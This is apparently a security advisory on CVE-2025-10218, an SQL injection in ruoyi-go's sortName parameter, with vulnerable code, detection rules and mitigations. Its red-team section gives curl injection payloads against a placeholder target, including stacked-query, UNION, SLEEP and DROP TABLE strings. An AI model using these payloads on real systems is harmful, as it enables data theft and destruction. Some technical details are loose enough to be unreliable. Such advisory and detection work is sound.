CVE-2025-10218

Executive Summary

CVE-2025-10218 is a critical SQL injection vulnerability discovered in the ruoyi-go application (version 2.1) developed by lostvip-com. The flaw resides in the SelectListPage function within the modules/system/dao/SysRoleDao.go file, which is part of the background management page. By manipulating the sortName argument, an attacker can inject arbitrary SQL commands, leading to unauthorized data access, modification, or deletion. The exploit has been publicly released, and the vendor has not responded to disclosure attempts. With a CVSS score of 6.3 (Medium), this vulnerability poses a significant risk to affected systems, especially given the lack of a patch.

Supply Chain & Package Security

This vulnerability affects a Go-based application (ruoyi-go). While no official package manager (e.g., Go modules) is directly implicated, the application is distributed as a standalone binary or source code. Organizations using ruoyi-go version 2.1 should treat this as a supply chain risk, as the vendor has not provided a fix. The absence of a patch means that any deployment of this software is inherently vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited data modification.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: Medium. The exploit is public, and the attack is straightforward, but the impact is limited to low-level data compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the SelectListPage function of SysRoleDao.go. The sortName parameter is directly concatenated into an SQL query without proper sanitization or parameterization. In Go, using string concatenation for SQL queries (e.g., fmt.Sprintf("SELECT * FROM roles ORDER BY %s", sortName)) allows an attacker to inject arbitrary SQL.

Root Cause: The developer used string interpolation to build the SQL query, failing to use parameterized queries or prepared statements. The sortName argument is taken from user input (likely from HTTP request parameters) and inserted directly into the ORDER BY clause.

Exploitation: An attacker can send a crafted HTTP request to the background management page endpoint that calls SelectListPage. By injecting SQL into the sortName parameter, they can:

• Extract data from other tables (e.g., ' UNION SELECT ... --).
• Modify or delete data (e.g., '; DROP TABLE users; --).
• Bypass authentication or escalate privileges.

Example Payload:

sortName=id; SELECT * FROM users; --

Vulnerable vs. Patched Code

Vulnerable Code (ruoyi-go 2.1):

// modules/system/dao/SysRoleDao.go
func SelectListPage(sortName string) ([]Role, error) {
    query := fmt.Sprintf("SELECT * FROM roles ORDER BY %s", sortName)
    rows, err := db.Query(query)
    // ...
}

Patched Code (Hypothetical):

// modules/system/dao/SysRoleDao.go
func SelectListPage(sortName string) ([]Role, error) {
    // Whitelist allowed sort columns
    allowedSorts := map[string]bool{"id": true, "name": true, "created_at": true}
    if !allowedSorts[sortName] {
        return nil, fmt.Errorf("invalid sort column")
    }
    query := "SELECT * FROM roles ORDER BY " + sortName
    rows, err := db.Query(query)
    // ...
}

Note: The ideal fix is to use parameterized queries for all user input, but for ORDER BY clauses, a whitelist approach is necessary since column names cannot be parameterized.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ruoyi-go version 2.1 with the background management page exposed.
• Network access to the endpoint (e.g., /api/roles/list).

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., GET /api/roles/list?sortName=id).
2. Inject SQL payload into sortName:

   curl "http://target/api/roles/list?sortName=id%3B%20SELECT%20*%20FROM%20users%3B%20--"
   

3. Extract data using UNION-based injection:

   curl "http://target/api/roles/list?sortName=id%20UNION%20SELECT%201,2,3,4,5--"
   

4. For blind injection, use time-based techniques:

   curl "http://target/api/roles/list?sortName=id%20OR%20SLEEP(5)--"
   

Lab Setup:

• Use Docker to deploy a vulnerable instance:

  FROM golang:1.20
  COPY ruoyi-go-2.1 /app
  WORKDIR /app
  RUN go build -o server .
  EXPOSE 8080
  CMD ["./server"]
  

• Build and run:

  docker build -t ruoyi-go-vuln .
  docker run -p 8080:8080 ruoyi-go-vuln
  

Blue Team (Defensive)

Detection:

• Monitor for unusual sortName parameters containing SQL keywords (e.g., UNION, SELECT, SLEEP).
• Use WAF rules to block SQL injection patterns.

Mitigation:

• Immediately isolate affected systems if no patch is available.
• Implement input validation and whitelisting for sortName.
• Use a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/roles/list with sortName containing SQL keywords.
  • Anomalous database queries with ORDER BY clauses containing subqueries or UNION statements.
• File IOCs:
  • Log entries in application logs showing SQL errors or unexpected query patterns.
• System IOCs:
  • Unauthorized data exports or modifications in the database.

Detection Engineering

YARA Rule

rule CVE_2025_10218_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-10218 in ruoyi-go"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-10218"
    strings:
        $s1 = "sortName=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "SLEEP" nocase
        $s5 = "ORDER BY" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt Against ruoyi-go SelectListPage
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-10218 via sortName parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "sortName="
        cs-uri-query|contains|any:
            - "UNION"
            - "SELECT"
            - "SLEEP"
            - "DROP"
            - "DELETE"
    condition: selection
falsepositives:
    - Legitimate use of sortName with similar keywords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10218 SQL Injection Attempt"; flow:to_server; content:"sortName="; nocase; pcre:"/(UNION|SELECT|SLEEP|DROP|DELETE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from untrusted networks.
2. Apply a WAF rule to block SQL injection patterns in sortName.
3. Monitor logs for exploitation attempts.

Long-Term Fix:

• Patch: Since no official patch exists, manually fix the code by implementing a whitelist for sortName or using parameterized queries.
• Upgrade: If a patched version becomes available, upgrade immediately.
• Code Review: Conduct a security audit of all database interactions in the application.

Workaround:

• Disable the background management page or restrict access via IP whitelisting.
• Use a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers